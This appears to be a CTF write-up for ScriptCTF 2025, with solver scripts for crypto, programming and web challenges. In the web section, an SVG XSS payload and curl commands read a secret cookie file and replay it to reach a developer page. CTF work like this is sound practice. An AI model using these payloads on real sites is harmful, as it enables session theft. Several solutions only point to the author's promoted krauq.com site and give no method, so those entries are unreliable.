ScriptCTF 2025
Writeup for most challenges in ScriptCTF2025. Also check out krauq.com, now in beta (Free AI toolbox with tradable tokens)
Misc
Read The Rules (1059 solves)
Description:
Read the rules. They can be found in the #rules channel in discord, or here. The rules will contain a link, which will ultimately contain the flag.
Solution:
Normally I don't include the welcome challenge but adding for future reference.
Reading comprehension check, click the link in the description, then click the link on the rules page to see the flag in the top right. scriptCTF{600D_1ucK_5011D3r1}
Div (720 solves)
Description:
Author: NoobMaster
I love division
Resources:
# chall.py
import os
import decimal
decimal.getcontext().prec = 50
secret = int(os.urandom(16).hex(),16)
num = input('Enter a number: ')
if 'e' in num.lower():
print("Nice try...")
exit(0)
if len(num) >= 10:
print('Number too long...')
exit(0)
fl_num = decimal.Decimal(num)
div = secret / fl_num
if div == 0:
print(open('flag.txt').read().strip())
else:
print('Try again...')
Solution:
We need to enter a number where if we divide secret by it, we get 0. Obviously we enter Infinity. Start an instance then send it to get the flag.
nc play.scriptsorcerers.xyz 10231
Enter a number: Infinity
scriptCTF{70_1nf1n17y_4nd_b3y0nd_87463b62ba69}
emoji (513 solves)
Description:
Author: noob-abhinav
Emojis everywhere! Is it a joke? Or something is hiding behind it.
Resources:
out.txt 🁳🁣🁲🁩🁰🁴🁃🁔🁆🁻🀳🁭🀰🁪🀱🁟🀳🁮🁣🀰🁤🀱🁮🁧🁟🀱🁳🁟🁷🀳🀱🁲🁤🁟🀴🁮🁤🁟🁦🁵🁮🀡🀱🁥🀴🀶🁤🁽
Solution:
The only byte that changes is the last one, if we print it in this way, we see the flag.
>>> for i in "🁳🁣🁲🁩🁰🁴🁃🁔🁆🁻🀳🁭🀰🁪🀱🁟🀳🁮🁣🀰🁤🀱🁮🁧🁟🀱🁳🁟🁷🀳🀱🁲🁤🁟🀴🁮🁤🁟🁦🁵🁮🀡🀱🁥🀴🀶🁤🁽": print(chr(ord(i) & 0xFF),end="")
...
scriptCTF{3m0j1_3nc0d1ng_1s_w31rd_4nd_fun!1e46d}>>>
Enchant (410 solves)
Description:
Author: NoobMaster
I was playing minecraft, and found this strange enchantment on the enchantment table. Can you figure out what it is? Wrap the flag in scriptCTF{}
Resources:
ᒲ╎リᒷᓵ∷ᔑ⎓ℸ ̣ ╎ᓭ⎓⚍リ
Solution:
This is the Galactic alphabet.

scriptCTF{minecraftisfun} (no spaces)
Div 2 (333 solves)
Description:
Author: NoobMaster
Some might call this a programming challenge...
Resources:
import secrets
import decimal
decimal.getcontext().prec = 50
secret = secrets.randbelow(1 << 127) + (1 << 127) # Choose a 128 bit number
for _ in range(1000):
print("[1] Provide a number\n[2] Guess the secret number")
choice = int(input("Choice: "))
if choice == 1:
num = input('Enter a number: ')
fl_num = decimal.Decimal(num)
assert int(fl_num).bit_length() == secret.bit_length()
div = secret / fl_num
print(int(div))
if choice == 2:
guess = int(input("Enter secret number: "))
if guess == secret:
print(open('flag.txt').read().strip())
else:
print("Incorrect!")
exit(0)
Solution:
from pwn import remote
HOST, PORT = "play.scriptsorcerers.xyz", 10218
def get_bit(lo, hi, io):
# Ask with integer m; output will be 0 or 1 (comparator)
io.recvuntil(b"Choice:")
io.sendline(b"1")
io.recvuntil(b"Enter a number:")
io.sendline(str(mid := (lo + hi + 1) // 2).encode())
# Read the integer line (should be 0 or 1)
line = io.recvline().strip()
while not (line.isdigit() or (line.startswith(b"-") and line[1:].isdigit())):
line = io.recvline().strip()
r = int(line)
return r, mid
def main():
io = remote(HOST, PORT)
lo, hi = 1 << 127, (1 << 128) - 1 # secret is guaranteed in this range
while lo < hi:
r, mid = get_bit(lo, hi, io)
if r == 1:
lo = mid # secret >= mid
else:
hi = mid - 1 # secret < mid
# Guess the recovered secret
io.recvuntil(b"Choice:")
io.sendline(b"2")
io.recvuntil(b"Enter secret number:")
io.sendline(str(lo).encode())
print(io.recvall().decode())
if __name__ == "__main__":
main()
# scriptCTF{b1n4ry_s34rch_u51ng_d1v1s10n?!!_9200dd934b98}
Subtract (328 solves)
Description:
Author: NoobMaster
The image size is 500x500. You might want to remove some stuff... Note: Some may call it guessy!
Resources:
Solution:
The file looks like pixel coordinates on a 500×500 canvas. If you naively plot every (x, y)
as a white pixel on a black canvas, you’ll notice the canvas fills almost entirely—nothing readable appears. That matches the hint “remove some stuff”: maybe the absence (or parity) of certain points reveals the message.
Many coordinates are duplicated. If you count occurrences per pixel, most appear twice and a minority appear once. If you keep only the odd occurrences (i.e., pixels that appear exactly once) you remove the “noise” and letters pop out. This is effectively an XOR/parity trick: “noise” is drawn twice (cancels), signal is drawn once (remains).
Steps
Parse the coordinates
Read the file and extract all
(x, y)
integer pairs.
Count frequency per pixel
Use a hashmap/counter keyed by
(x, y)
.
Render the odd-parity mask
Create a 500×500 blank (black) image.
For every
(x, y)
withcount % 2 == 1
, set that pixel to white.
import re, numpy as np
from collections import Counter
from PIL import Image
W = H = 500
txt = open("coordinates.txt").read()
pairs = re.findall(r"\((\d+),\s*(\d+)\)", txt)
pts = [(int(x), int(y)) for x, y in pairs]
ctr = Counter(pts)
img = np.zeros((H, W), dtype=np.uint8)
for (x, y), c in ctr.items():
if c % 2 == 1: # keep odd occurrences only
if 0 <= x < W and 0 <= y < H:
img[y, x] = 255 # or use img[H-1-y, x] for flipped orientation
Image.fromarray(img).save("odd_parity.png")

Crypto
Secure-Server (541 solves)
Description:
Author: NoobMaster
John Doe uses this secure server where plaintext is never shared. Our Forensics Analyst was able to capture this traffic and the source code for the server. Can you recover John Doe's secrets?
Resources:
Solution:
Upload files.zip to krauq.com to see a detailed writeup.

RSA-1 (696 solves)
Description:
Author: noob-abhinav
Yú Tóngyī send a message to 3 peoples with unique modulus. But he left it vulnerable. Figure out :)
Attachments
n1 = 156503881374173899106040027210320626006530930815116631795516553916547375688556673985142242828597628615920973708595994675661662789752600109906259326160805121029243681236938272723595463141696217880136400102526509149966767717309801293569923237158596968679754520209177602882862180528522927242280121868961697240587
c1 = 77845730447898247683281609913423107803974192483879771538601656664815266655476695261695401337124553851404038028413156487834500306455909128563474382527072827288203275942719998719612346322196694263967769165807133288612193509523277795556658877046100866328789163922952483990512216199556692553605487824176112568965
n2 = 81176790394812943895417667822424503891538103661290067749746811244149927293880771403600643202454602366489650358459283710738177024118857784526124643798095463427793912529729517724613501628957072457149015941596656959113353794192041220905793823162933257702459236541137457227898063370534472564804125139395000655909
c2 = 40787486105407063933087059717827107329565540104154871338902977389136976706405321232356479461501507502072366720712449240185342528262578445532244098369654742284814175079411915848114327880144883620517336793165329893295685773515696260299308407612535992098605156822281687718904414533480149775329948085800726089284
n3 = 140612513823906625290578950857303904693579488575072876654320011261621692347864140784716666929156719735696270348892475443744858844360080415632704363751274666498790051438616664967359811895773995052063222050631573888071188619609300034534118393135291537302821893141204544943440866238800133993600817014789308510399
c3 = 100744134973371882529524399965586539315832009564780881084353677824875367744381226140488591354751113977457961062275480984708865578896869353244823264759044617432862876208706282555040444253921290103354489356742706959370396360754029015494871561563778937571686573716714202098622688982817598258563381656498389039630
e = 3
Solution:
Paste out.txt in krauq.com to see the full writeup.

Mod (368 solves)
Description:
Just a simple modulo challenge
Attachments
#!/usr/local/bin/python3
import os
secret = int(os.urandom(32).hex(),16)
print("Welcome to Mod!")
num=int(input("Provide a number: "))
print(num % secret)
guess = int(input("Guess: "))
if guess==secret:
print(open('flag.txt').read())
else:
print("Incorrect!")
Solution:
from pwn import remote
import re
HOST, PORT = "play.scriptsorcerers.xyz", 10409
io = remote(HOST, PORT)
# Read banner up to the first prompt
io.recvuntil(b"Provide a number:")
# Send -1 so the service prints secret-1
io.sendline(b"-1")
# Capture everything up to the Guess prompt, extract the last integer seen
data = io.recvuntil(b"Guess:")
nums = re.findall(rb"-?\d+", data)
assert nums, f"No integers found in:\n{data!r}"
r = int(nums[-1])
# Guess secret = (secret-1) + 1
secret = r + 1
io.sendline(str(secret).encode())
# Print the result (should be the flag)
print(io.recvall(timeout=2).decode(errors="ignore"))
# scriptCTF{-1_f0r_7h3_w1n_4a3f7db1_585246562a46}
Secure-Server-2 (208 solves)
Description:
Author: NoobMaster
This time, the server is even more secure, but did it actually receive the secret? Simple brute-force won't work!
Attachments
Solution:
Placeholder
EaaS (102 solves)
Description:
Author: NoobMaster
Email as a Service! Have fun...
Attachments
#!/usr/bin/env python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import random
email=''
flag=open('flag.txt').read()
has_flag=False
sent=False
key = os.urandom(32)
iv = os.urandom(16)
encrypt = AES.new(key, AES.MODE_CBC,iv)
decrypt = AES.new(key, AES.MODE_CBC,iv)
def send_email(recipient):
global has_flag
if recipient.count(b',')>0:
recipients=recipient.split(b',')
else:
recipients=recipient
for i in recipients:
if i == email.encode():
has_flag = True
for i in range(10):
email += random.choice('abcdefghijklmnopqrstuvwxyz')
email+='@notscript.sorcerer'
print(f"Welcome to Email as a Service!\nYour Email is: {email}\n")
password=bytes.fromhex(input("Enter secure password (in hex): "))
assert not len(password) % 16
assert b"@script.sorcerer" not in password
assert email.encode() not in password
encrypted_pass = encrypt.encrypt(password)
print("Please use this key for future login: " + encrypted_pass.hex())
while True:
choice = int(input("Enter your choice: "))
print(f"[1] Check for new messages\n[2] Get flag")
if choice == 1:
if has_flag:
print(f"New email!\nFrom: [email protected]\nBody: {flag}")
else:
print("No new emails!")
elif choice == 2:
if sent:
exit(0)
sent=True
user_email_encrypted = bytes.fromhex(input("Enter encrypted email (in hex): ").strip())
if len(user_email_encrypted) % 16 != 0:
print("Email length needs to be a multiple of 16!")
exit(0)
user_email = decrypt.decrypt(user_email_encrypted)
if user_email[-16:] != b"@script.sorcerer":
print("You are not part of ScriptSorcerers!")
exit(0)
send_email(user_email)
print("Email sent!")
Solution:
The I/O was a pain so I settled on a half-manual solution.
#!/usr/bin/env python3
# EaaS fixed manual solver (no args, edit constants).
#
# What it does:
# • Builds a login password (hex) = 3 blocks:
# P1 = 16 zero bytes
# P2 = first 16 bytes of b"," + EMAIL + b"," with ONE BYTE flipped
# P3 = second 16 bytes of that same string (unaltered)
# This passes the server asserts (no exact EMAIL in password; no '@script.sorcerer' in password).
# • After you paste the printed “future login key” (C1‖C2‖C3‖…), it forges a 6-block ciphertext:
# Q2‖Q3 == b"," + EMAIL + b"," (exact, so your inbox matches)
# Q6 == b"@script.sorcerer" (membership check passes)
# Q1, Q4, Q5 are junk and ignored.
#
# How to use each fresh session:
# 1) Start nc: nc play.scriptsorcerers.xyz <PORT>
# 2) Run this script. It prints a LOGIN_HEX line.
# 3) At "Enter secure password (in hex):" paste LOGIN_HEX (single line, no spaces).
# 4) Copy the server’s line “Please use this key for future login: <C_HEX>”.
# 5) Run this script again, paste that C_HEX when prompted; it prints FORGED_HEX.
# 6) In the SAME nc session: enter choice 2 (Get flag) and paste FORGED_HEX.
# 7) Then enter choice 1 (Check for new messages) to read the flag.
# ==== EDIT THIS IF YOUR BANNER SHOWS A NEW EMAIL ====
EMAIL = "[email protected]" # from "Your Email is: ..."
# ================================================
import sys, binascii
SUFFIX = b"@script.sorcerer" # 16 bytes
def bxor(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))
def build_mid(email: str):
mid = b"," + email.encode("utf-8") + b"," # must be 32 bytes across two blocks after padding
if len(mid) > 32:
print(f"[!] Email too long for 2 blocks ({len(mid)} bytes). This challenge uses 10-char local parts; you should be fine.")
sys.exit(1)
return mid.ljust(32, b"A")
def main():
mid = build_mid(EMAIL)
M1, M2 = mid[:16], mid[16:]
# Flip ONE byte in M1 to dodge the "email in password" assert (flip the very first local-part byte).
# mid = b"," + <local(10)> + b"," + ...
# The first local byte sits at offset 1.
flip_pos = 1
flip_mask = 0x01
m1_mut = bytearray(M1)
m1_mut[flip_pos] ^= flip_mask
M1_MUT = bytes(m1_mut)
# ---- Step 1: PRINT the login password (paste this at the first prompt) ----
P1 = b"\x00" * 16
password = P1 + M1_MUT + M2
LOGIN_HEX = password.hex()
print("\n[ Login step ] Paste this at 'Enter secure password (in hex):'\n")
print(LOGIN_HEX)
# ---- Step 2: Ask for the printed key and output the forged hex ----
print("\nAfter the server prints 'Please use this key for future login: <C_HEX>', paste <C_HEX> below.")
try:
C_HEX = input("C_HEX: ").strip()
C = bytes.fromhex(C_HEX)
except Exception as e:
print("[!] Bad C_HEX:", e)
sys.exit(1)
# We need at least the first 3 blocks C1,C2,C3 from that key
if len(C) < 48:
print("[!] Key too short; ensure you pasted the FULL hex (it must be >= 48 bytes).")
sys.exit(1)
C1, C2, C3 = C[:16], C[16:32], C[32:48]
# We want:
# Q2 = M1 and Q3 = M2
# Using CBC: Q2 = Dec(C2) XOR E1, but Dec(C2) = P2 XOR C1 = M1_MUT XOR C1 (from our login).
# So choose E1 = C1 XOR (M1_MUT XOR M1) => Q2 = M1.
E1 = bxor(C1, bxor(M1_MUT, M1))
E2 = C2
E3 = C3
# Make the LAST block equal SUFFIX using a separate pair (E5,E6) that doesn't overlap:
# Choose E6 = C3 => Dec(E6) = Dec(C3) = P3 XOR C2 = M2 XOR C2.
# Need Q6 = Dec(E6) XOR E5 = SUFFIX => E5 = (M2 XOR C2) XOR SUFFIX.
E4 = b"\x00" * 16
E5 = bxor(bxor(M2, C2), SUFFIX)
E6 = C3
FORGED_HEX = (E1 + E2 + E3 + E4 + E5 + E6).hex()
print("\n[ Forge step ] Paste this at 'Enter encrypted email (in hex):'\n")
print(FORGED_HEX)
print("\nThen enter choice 1 to read the flag.\n")
if __name__ == "__main__":
main()

Forensics
diskchal (592 solves)
Description:
Author: Connor Chang
i accidentally vanished my flag, can u find it for me
Attachments
Solution:
Just binwalk.

pdf (508 solves)
Description:
Author: Connor Chang
so sad cause no flag in pdf :(
Attachments
Solution:
Upload the pdf to krauq.com to get the flag.

Just Some Avocado (353 solves)
Description:
Author: Connor Chang
just an innocent little avocado!
Attachments

Solution:
First run binwalk to find a password-protected zip, then crack it with john:

(john fixes are not pushed to krauq.com yet)
Then open the audio file in sonic-visualizer to get the password:

Then use it on the second zip to get the flag. (d41v3ron)
scriptCTF{1_l0ve_d41_v3r0n}
Web
Renderer (535 solves)
Description:
Author: NoobMaster
Introducing Renderer! A free-to-use app to render your images!
Attachments
Solution:
Create svg payload to upload (ask AI for details):
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200"
onload="(async()=>{try{const r=await fetch('/static/uploads/secrets/secret_cookie.txt',{cache:'no-store'});const t=(await r.text()).trim();document.cookie='developer_secret_cookie='+t+'; path=/'; top.location='/developer';}catch(e){alert(e)}})()">
<text x="10" y="20">Renderer exploit</text>
</svg>
Then upload it and get the flag.
# Replace $URL with your challenge URL (e.g., http://<host>:<port>)
TOKEN=$(curl -s "$URL/static/uploads/secrets/secret_cookie.txt")
curl -s -H "Cookie: developer_secret_cookie=$TOKEN" "$URL/developer"
# scriptCTF{my_c00k135_4r3_n0t_s4f3!_9bc4aface5d4}
OSINT
The Insider (497 solves)
Description:
Someone from our support team has leaked some confidential information. Can you find out who?
Solution:
Looking at the support team on discord, one of them has the flag in their status message.

The Insider 2 (263 solves)
Description:
Author: NoobMaster
You found out the insider, but can you find what they leaked on GitHub and put it to use? Continue where you left off...
Solution:
If you click view full bio and scroll down (not obvious this is possible), we see this.

On Github:

These are login credentials to a link at the profile in the link in the Discord profile.

The Insider 3 (385 solves)
Description:
Author: NoobMaster
It's a tradition at this point. Continue where you left off...
Solution:
Check contribution activity of NoobMaster9999 to find another repo:


The Insider 4 (171 solves)
Description:
Author: NoobMaster
Good luck! Note: max flag limit is 6 for a reason, you should be able to get it in less than that. If not, open a ticket. Flag is case insensitive
Solution:
Continuing from part 3:

Rest of writeup hidden until authors allow it, currently being used for verification.
Programming
Sums (375 solves)
Description:
Author: Connor Chang
Find the sum of nums[i] for i in [l, r] (if there are any issues with input/output format, plz open a ticket)
Attachments
#!/usr/bin/env python3
import random
import subprocess
import sys
import time
start = time.time()
n = 123456
nums = [str(random.randint(0, 696969)) for _ in range(n)]
print(' '.join(nums), flush=True)
ranges = []
for _ in range(n):
l = random.randint(0, n - 2)
r = random.randint(l, n - 1)
ranges.append(f"{l} {r}") #inclusive on [l, r] 0 indexed
print(l, r)
big_input = ' '.join(nums) + "\n" + "\n".join(ranges) + "\n"
proc = subprocess.Popen(
['./solve'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = proc.communicate(input=big_input)
out_lines = stdout.splitlines()
ans = [int(x) for x in out_lines[:n]]
urnums = []
for _ in range(n):
urnums.append(int(input()))
if ans != urnums:
print("wawawawawawawawawa")
sys.exit(1)
if time.time() - start > 10:
print("tletletletletletle")
sys.exit(1)
print(open('flag.txt', 'r').readline())
Solution:
Here's the solution, self explanatory.
#include <bits/stdc++.h>
using namespace std;
int main() {
ios::sync_with_stdio(false);
cin.tie(nullptr);
string first;
getline(cin, first);
// Parse first line into array
vector<long long> a;
a.reserve(130000);
long long cur = 0; bool in = false;
for (char c : first) {
if (c >= '0' && c <= '9') { cur = cur*10 + (c - '0'); in = true; }
else if (in) { a.push_back(cur); cur = 0; in = false; }
}
if (in) a.push_back(cur);
int n = (int)a.size();
// Prefix sums
vector<long long> ps(n+1, 0);
for (int i = 0; i < n; ++i) ps[i+1] = ps[i] + a[i];
// Answer queries
for (int i = 0; i < n; ++i) {
int l, r;
cin >> l >> r;
long long ans = ps[r+1] - ps[l];
cout << ans << '\n';
}
return 0;
}
g++ solve_client.cpp -o solve_client
mkfifo in out; (cat out | nc play.scriptsorcerers.xyz 10349 | tee in &); ./solve_client <in >out; rm in out
...
scriptCTF{1_w4n7_m0r3_5um5_3b287c7e69da}
More Divisors (218 solves)
Description:
Author: Connor Chang
find length of the longest subsequence with gcd > 1 :)
Solution:
#!/usr/bin/env python3
import socket, select, sys, argparse, re, time
from collections import defaultdict
DIGITS_RE = re.compile(rb"\d+")
QUESTION_RE = re.compile(rb"(answer|send|what|length|\?)", re.I)
def sieve(limit: int):
bs = bytearray(b"\x01") * (limit + 1)
bs[:2] = b"\x00\x00"
r = int(limit**0.5)
for p in range(2, r + 1):
if bs[p]:
start = p * p
bs[start:limit + 1:p] = b"\x00" * (((limit - start) // p) + 1)
return [i for i, v in enumerate(bs) if v]
def factor_unique(n: int, primes):
res = set()
x = n
for p in primes:
if p * p > x:
break
if x % p == 0:
res.add(p)
while x % p == 0:
x //= p
if x > 1:
res.add(x)
return res
def main():
ap = argparse.ArgumentParser(description="CTF: longest subsequence with gcd>1 (stream).")
ap.add_argument("--host", default="play.scriptsorcerers.xyz")
ap.add_argument("--port", type=int, default=10005)
ap.add_argument("--sieve-limit", type=int, default=1_000_000,
help="prime sieve upper bound (default 1e6; OK for ~1e12 inputs)")
ap.add_argument("--quiet-ms", type=int, default=1200,
help="if no data seen for this many ms, send the answer")
ap.add_argument("--answer-format", choices=["length", "length_and_prime"], default="length",
help="what to send back to server")
ap.add_argument("--capture-k", type=int, default=0,
help="also capture and print first K elements of the winning subsequence (stdout)")
ap.add_argument("--debug", action="store_true")
args = ap.parse_args()
primes = sieve(args.sieve_limit)
counts = defaultdict(int)
best_p, best_cnt = None, 0
total = 0
# If asked to capture elements, keep some per-prime
keep = args.capture_k > 0
examples = defaultdict(list)
buf = b""
last_data_ts = time.time()
asked = False
sent = False
def bump(n: int):
nonlocal best_p, best_cnt
pf = factor_unique(n, primes)
for p in pf:
counts[p] += 1
if keep and len(examples[p]) < args.capture_k:
examples[p].append(n)
if counts[p] > best_cnt:
best_cnt, best_p = counts[p], p
def parse_numbers_from_buffer():
nonlocal buf, total
start = 0
for m in DIGITS_RE.finditer(buf):
num = int(m.group())
total += 1
bump(num)
start = m.end()
buf = buf[start:]
def build_answer():
if best_p is None:
return b"0\n"
if args.answer_format == "length":
return f"{best_cnt}\n".encode()
else:
return f"{best_cnt} {best_p}\n".encode()
def maybe_print_examples():
if keep and best_p is not None:
seq = examples[best_p]
if seq:
print(f"[first {len(seq)} elements divisible by {best_p}]: {' '.join(map(str, seq))}")
# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setblocking(False)
s.connect_ex((args.host, args.port))
try:
while True:
rlist, _, _ = select.select([s], [], [], 0.1)
now = time.time()
if rlist:
try:
chunk = s.recv(65536)
except BlockingIOError:
chunk = b""
if chunk:
buf += chunk
last_data_ts = now
if args.debug:
sys.stderr.write(chunk.decode(errors="ignore"))
if QUESTION_RE.search(buf):
asked = True
parse_numbers_from_buffer()
else:
# server closed read side; try sending answer once
if not sent:
ans = build_answer()
if args.debug:
sys.stderr.write(f"\n[closing send] total={total}, best_cnt={best_cnt}, prime={best_p}\n")
try:
s.sendall(ans)
sent = True
except BrokenPipeError:
pass
break
if not sent and (asked or (now - last_data_ts) * 1000.0 > args.quiet_ms):
ans = build_answer()
if args.debug:
sys.stderr.write(f"\n[sending] total={total}, best_cnt={best_cnt}, prime={best_p}\n")
try:
s.sendall(ans)
sent = True
except BrokenPipeError:
pass
# read any response for a short window
end_deadline = time.time() + 2.0
while time.time() < end_deadline:
r2, _, _ = select.select([s], [], [], 0.1)
if r2:
try:
resp = s.recv(65536)
except:
break
if not resp:
break
sys.stdout.write(resp.decode(errors="ignore"))
sys.stdout.flush()
break
finally:
s.close()
maybe_print_examples()
if args.debug:
sys.stderr.write(f"\nProcessed {total} numbers. Answer={best_cnt}, prime={best_p}\n")
if __name__ == "__main__":
main()
# scriptCTF{7H3_m0r3_f4C70r5_7h3_b3773r_78a8e5dd9afe}
Windows To Infinity (79 solves)
Description:
windows and windows and windows and windows and windows and winflag???? (if there are any questions about input/output format, plz open a ticket)
import random
import subprocess
n = 1000000
window_size = n / 2
"""
You will receive {n} numbers.
Every round, you will need to calculate a specific value for every window.
You will be doing the calculations on the same {n} numbers every round.
For example, in this round, you will need to find the sum of every window.
Sample testcase for Round 1 if n = 10
Input:
1 6 2 8 7 6 2 8 3 8
Output:
24 29 25 31 26 27
"""
a = []
for i in range(n):
a.append(str(random.randint(0, 100000)))
print(a[i], end=' ')
print()
proc = subprocess.Popen(['./solve'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)
proc.stdin.write(' '.join(a) + '\n')
proc.stdin.flush()
def round(roundnumber, roundname):
print(f"Round {roundnumber}: {roundname}!")
ur_output = list(map(int, input().split()))
correct_output = list(map(int, proc.stdout.readline().split()))
if ur_output != correct_output:
print('uh oh')
exit(1)
round(1, "Sums")
round(2, "Xors")
round(3, "Means") # Note: means are rounded down
round(4, "Median") # Note: medians are calculated using a[floor(n / 2)]
round(5, "Modes") # Note: if there is a tie, print the mode with the largest value
round(6, "Mex (minimum excluded)") # examples: mex(5, 4, 2, 0) = 1, mex(4, 1, 2, 0) = 3, mex(5, 4, 2, 1) = 0
round(7, "# of Distinct Numbers")
round(8, "Sum of pairwise GCD") # If bounds of the window are [l, r], find the sum of gcd(a[i], a[j]) for every i, j where l <= i < j <= r,
print(open('flag.txt', 'r').readline())
Solution:
// solve_windows_to_infinity.cpp
// Streaming client for "Windows To Infinity" (n=1,000,000, W=500,000).
// Rounds: Sums, Xors, Means, Medians (upper by default), Modes (tie -> largest),
// Mex, Distinct count, Sum of pairwise GCD (via divisor–totient identity).
//
// Lots of stderr debug. After each round we wait for the next "Round N:" (or "uh oh").
//
// Build: g++ -O3 -std=c++17 -pipe solve_windows_to_infinity.cpp -o solve
// Run: ./solve play.scriptsorcerers.xyz 10302
//
// Median switch: MEDIAN_KIND=lower will use the lower median (rank = W/2) instead of upper (rank=W/2+1).
#include <bits/stdc++.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <fcntl.h>
using namespace std;
using i64 = long long;
// ---------------- TCP helpers ----------------
static int connect_tcp(const char* host, const char* port){
addrinfo hints{}, *res;
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
int rc = getaddrinfo(host, port, &hints, &res);
if(rc != 0){
fprintf(stderr, "[!] getaddrinfo failed: %s\n", gai_strerror(rc));
return -1;
}
int sock = -1;
for(auto p=res; p; p=p->ai_next){
sock = ::socket(p->ai_family, p->ai_socktype, p->ai_protocol);
if(sock < 0) continue;
// add conservative timeouts so we don't hang forever
struct timeval tv; tv.tv_sec = 90; tv.tv_usec = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
if(::connect(sock, p->ai_addr, p->ai_addrlen) == 0){
freeaddrinfo(res);
return sock;
}
::close(sock); sock = -1;
}
freeaddrinfo(res);
return -1;
}
static bool send_all(int sock, const char* buf, size_t len, const char* tag){
size_t off = 0;
while(off < len){
ssize_t n = ::send(sock, buf+off, len-off, 0);
if(n <= 0){
fprintf(stderr, "[!] send failed in %s (errno=%d)\n", tag, errno);
return false;
}
off += (size_t)n;
}
return true;
}
static bool send_str(int sock, const string& s, const char* tag){ return send_all(sock, s.data(), s.size(), tag); }
// Wait until we see "Round {want}:" OR "uh oh" OR "flag{" from the server.
// Echo everything read to stdout so you see it in real time.
static int wait_until_round_or_error(int sock, int want_next_round_num, const char* where_tag){
fprintf(stderr, "[*] Waiting for server after %s (looking for \"Round %d:\" or error)...\n",
where_tag, want_next_round_num);
string needle = "Round " + to_string(want_next_round_num) + ":";
string acc;
acc.reserve(1<<16);
char buf[1<<15];
for(;;){
ssize_t m = ::recv(sock, buf, sizeof(buf), 0);
if(m > 0){
ssize_t w = ::write(STDOUT_FILENO, buf, m);
(void)w;
acc.append(buf, buf+m);
if(acc.find("uh oh") != string::npos){
fprintf(stderr, "[!] Server reported mismatch (uh oh) after %s\n", where_tag);
return -1;
}
if(acc.find("flag{") != string::npos){
fprintf(stderr, "[*] Flag appeared; draining remainder.\n");
return 1; // caller will drain to EOF and exit
}
if(acc.find(needle) != string::npos){
fprintf(stderr, "[*] Saw \"%s\" — proceeding.\n", needle.c_str());
return 0;
}
if(acc.size() > (1<<20)) acc.erase(0, acc.size() - (1<<19)); // keep tail
} else if(m == 0){
fprintf(stderr, "[*] Server closed connection while waiting after %s\n", where_tag);
return -2;
} else {
if(errno==EAGAIN || errno==EWOULDBLOCK){
continue; // keep waiting; server may still be processing
}
perror("[!] recv in wait_until_round_or_error");
return -3;
}
}
}
// ---------------- Data structures ----------------
struct Fenwick {
int n; vector<int> bit;
Fenwick(int n=0): n(n), bit(n+1,0) {}
void add(int i, int v){ for(i++; i<=n; i+=i&-i) bit[i]+=v; }
// return smallest idx with prefix >= k (0-based)
int kth(int k){
int idx=0, mask=1; while((mask<<1) <= n) mask<<=1;
for(int d=mask; d; d>>=1){
int nxt=idx+d;
if(nxt<=n && bit[nxt]<k){ idx=nxt; k-=bit[nxt]; }
}
return idx;
}
};
struct SegTreeMode {
struct Node{ int f,v; };
int N; vector<Node> t;
static Node merge(const Node&a,const Node&b){
if(a.f!=b.f) return (a.f>b.f)?a:b; // higher freq wins
return (a.v>b.v)?a:b; // tie -> larger value wins
}
SegTreeMode(int sz=0){ init(sz); }
void init(int sz){
N=1; while(N<sz) N<<=1;
t.assign(2*N, {0,0});
for(int i=0;i<sz;i++) t[N+i] = {0,i};
for(int i=N-1;i;i--) t[i]=merge(t[i<<1],t[i<<1|1]);
}
void setVal(int pos,int f){ int i=N+pos; t[i]={f,pos}; for(i>>=1;i;i>>=1) t[i]=merge(t[i<<1],t[i<<1|1]); }
int modeVal() const { return t[1].v; }
};
// ---------------- Main ----------------
int main(int argc, char** argv){
ios::sync_with_stdio(false);
cin.tie(nullptr);
const char* host = (argc>=2? argv[1] : "play.scriptsorcerers.xyz");
const char* port = (argc>=3? argv[2] : "10302");
fprintf(stderr, "[*] Connecting to %s:%s ...\n", host, port);
int sock = connect_tcp(host, port);
if(sock < 0){ fprintf(stderr, "[!] connect failed\n"); return 1; }
fprintf(stderr, "[*] Connected.\n");
const int n = 1'000'000;
const int W = n/2; // 500,000
const int WINDOWS = n - W + 1; // 500,001
const int VMAX = 100000;
// 1) Read 1,000,000 integers dumped by the server
vector<int> A; A.reserve(n);
{
const int BUFSZ = 1<<20;
vector<char> buf(BUFSZ);
long long cur=0; bool in=false;
long long bytes_total=0, last_progress=-1;
fprintf(stderr, "[*] Reading numbers from server...\n");
while((int)A.size() < n){
ssize_t m = ::recv(sock, buf.data(), BUFSZ, 0);
if(m <= 0){
perror("[!] recv while reading numbers");
fprintf(stderr, "[!] Parsed %d/%d numbers so far.\n", (int)A.size(), n);
return 1;
}
bytes_total += m;
for(ssize_t i=0;i<m;i++){
char c = buf[i];
if(c>='0' && c<='9'){ cur = cur*10 + (c-'0'); in=true; }
else{
if(in){
A.push_back((int)cur);
cur=0; in=false;
if(((int)A.size() % 100000) == 0){
long long pct = (long long)A.size()*100LL/n;
if(pct != last_progress){
last_progress = pct;
fprintf(stderr, " - parsed %d / %d (%lld%%)\n", (int)A.size(), n, pct);
}
}
if((int)A.size() == n) break;
}
}
}
}
fprintf(stderr, "[*] Finished reading %d numbers (~%lld bytes).\n", (int)A.size(), bytes_total);
if(!A.empty()){
fprintf(stderr, " first 5 nums: %d %d %d %d %d\n",
A[0], A[1], A[2], A[3], A[4]);
}
}
// streaming helpers
auto stream_line_i64 = [&](const char* tag, auto gen)->bool{
fprintf(stderr, "[*] Streaming round: %s\n", tag);
string out; out.reserve(1<<20);
const int REPORT_EVERY = 50000;
for(int i=0;i<WINDOWS;i++){
long long v = gen(i);
char tmp[40]; int len = snprintf(tmp,sizeof(tmp),"%lld ",(long long)v);
out.append(tmp,len);
if(((i+1)%REPORT_EVERY)==0){
fprintf(stderr, " - %s progress: %d / %d (%.1f%%)\n",
tag, i+1, WINDOWS, 100.0*(i+1)/WINDOWS);
}
